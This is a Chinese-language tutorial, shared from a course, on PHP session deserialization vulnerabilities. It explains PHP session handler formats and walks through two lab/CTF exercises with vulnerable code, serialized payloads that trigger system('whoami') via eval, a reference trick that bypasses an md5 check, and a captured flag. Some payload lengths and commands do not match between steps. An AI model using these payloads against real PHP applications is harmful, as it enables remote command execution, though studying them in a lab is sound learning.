Web渗透—反序列化        课程学习分享（课程非本人制作，仅提供学习分享）

---

靶场下载地址：GitHub - mcc0624/php_ser_Class: php反序列化靶场课程，基于课程制作的靶场

课程地址：PHP反序列化漏洞学习_哔哩哔_bilibili

---

十九、session反序列化

1.session

当session_start()被调用或者php.ini中session.auto_start为1时，PHP内部调用会话管理器，访问用户session被序列化以后，存储到指定目录（linux系统默认在 /tmp 目录下，windows系统默认在 C:\Windows\Temp 目录下，可通过查看phpinfo中的session.save_path参数查找保存路径）。

存取数据的格式有多种，常用的有三种

漏洞产生：写入格式和读取格式不一致

处理器	对应的储存格式
php	键名+竖线+经过serialize()函数序列化处理的值
php_serizlize(php>=5.5.4)	经过serialize()函数序列化处理的数组
php_binary	键名的长度对应的ASCII字符+键名+经过serialize()函数反序列处理的值

默认情况下用php格式储存

2.示例代码

php ：

<?php
session_start();
$_SESSION[‘benben’]=$_GET[‘ben’];
?>

通过ben参数传入"123456"

benben|s:6:"123456";

php_serialize：

声明session存储格式为php_serialize

<?php
ini_set('session.serialize_handler','php_serialize'); //声明session存储格式为php_serialize
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

通过ben和b参数传入 "123456" 和 "666"

a:2:{s:6:"benben";s:6:"123456";s:1:"b";s:3:"666";}         //PHP服务版本需在5.5.4以上

php_binary:

声明session存储格式为php_binary

<?php
ini_set('session.serialize_handler','php_binary'); //声明session存储格式为php_binary
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

通过ben和b参数传入 "123456" 和 "666"

benbens:6:"123456";bs:3:"666";        //"benben"前二进制为"06"，"b"前二进制为"01"

3.PHP session反序列化漏洞

当网站序列化并存储session，与反序列化并读取session的方式不同，就可能导致session反序列化漏洞的产生。

实例代码：

save.php

提交a以php_serialize格式保存

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>

vul.php

<?php 
ini_set('session.serialize_handler','php');
session_start();
class D{var $a;function __destruct(){eval($this->a);}
}
?>

解题代码：

利用php_serialize存储session格式与php读取session格式的方式不同产生的漏洞执行系统命令

<?php
class D{var $a = "system('whoami');";        //通过system()函数执行系统命令
}
echo serialize(new D());
?>

O:1:"D":1:{s:1:"a";s:17:"system('whoami');";}

解题步骤：

1）构造payload：将获得的序列化字符前加”|”传入save.php

|O:1:"D":1:{s:1:"a";s:17:"system('whoami');";}

2）后端将存储为：

a:1:{s:3:"ben";s:42:"|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}";}

 

3.以php格式读取session会把 | 后的值进行反序列化

O:1:"D":1:{s:1:"a";s:13:"system('ls');";}";}

4.此时访问 vul.php 页面，来达到执行命令的效果

---

二十、session反序列化例题

1.实例代码

index.php

<?php
session_start();
class Flag{public $name;public $her;function __wakeup(){$this->her=md5(rand(1, 10000));if ($this->name===$this->her){include('flag.php');echo $flag;}}}
?>

hint.php

在index.php提示了hint.php页面 

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

 

2.解题代码

此题目中不仅出现了 session反序列化知识点，同时也出现了引用的知识点

<?php
class Flag{public $name;public $her;
}
$a = new Flag();
$a->name=&$a->her;
echo serialize($a);
?>

让 $name 的值引用 $her 的值 

O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

3. 解题步骤

1）构造payload：将获得的序列化字符前加”|”传入hint.php

|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

2）后端将存储为：

a:1:{s:1:"a";s:43:"|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}";}

 

3.以php格式读取session会把 | 后的值进行反序列化

O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}";}

4.此时访问 index.php 页面，反序列化触发__wakeup()，判断$name全等于$her得到flag

 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}